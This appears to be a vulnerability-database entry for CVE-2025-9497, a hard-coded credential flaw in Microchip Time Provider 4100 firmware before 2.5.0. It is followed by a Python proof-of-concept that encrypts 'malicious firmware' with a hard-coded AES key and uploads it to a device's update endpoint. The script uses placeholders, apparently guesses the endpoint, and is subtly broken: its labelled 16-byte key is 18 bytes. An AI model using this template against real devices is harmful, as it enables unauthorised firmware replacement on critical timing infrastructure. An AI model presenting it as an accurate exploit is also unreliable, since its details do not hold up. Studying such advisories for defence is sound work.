Use of Hard-coded Credentials vulnerability in Microchip Time Provider 4100 allows Malicious Manual Software Update.This issue affects Time Provider 4100: before 2.5.0.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microchip Time Provider 4100 < 2.5.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2025-9497: Hard-coded Credentials in Microchip Time Provider 4100
# This script demonstrates how a malicious update could be crafted using the hardcoded key.
import requests
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
# Hardcoded decryption key extracted from firmware (Example placeholder)
HARDCODED_KEY = b'EXAMPLE_KEY_16BYTE'
TARGET_IP = "192.168.1.100"
UPDATE_ENDPOINT = "/api/system/update"
def craft_malicious_update(payload):
"""Encrypt the payload using the hardcoded key"""
cipher = AES.new(HARDCODED_KEY, AES.MODE_ECB)
encrypted_payload = cipher.encrypt(pad(payload, AES.block_size))
return encrypted_payload
def exploit():
# Shellcode or malicious firmware content
malicious_content = b'MALICIOUS_FIRMWARE_CONTENT'
print(f"[*] Crafting malicious update for {TARGET_IP}...")
encrypted_update = craft_malicious_update(malicious_content)
url = f"http://{TARGET_IP}{UPDATE_ENDPOINT}"
files = {'firmware': ('update.bin', encrypted_update, 'application/octet-stream')}
try:
print(f"[*] Sending malicious update to {url}...")
response = requests.post(url, files=files, timeout=10)
if response.status_code == 200:
print("[+] Update accepted. The device may be executing malicious code.")
else:
print(f"[-] Update failed. Status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
exploit()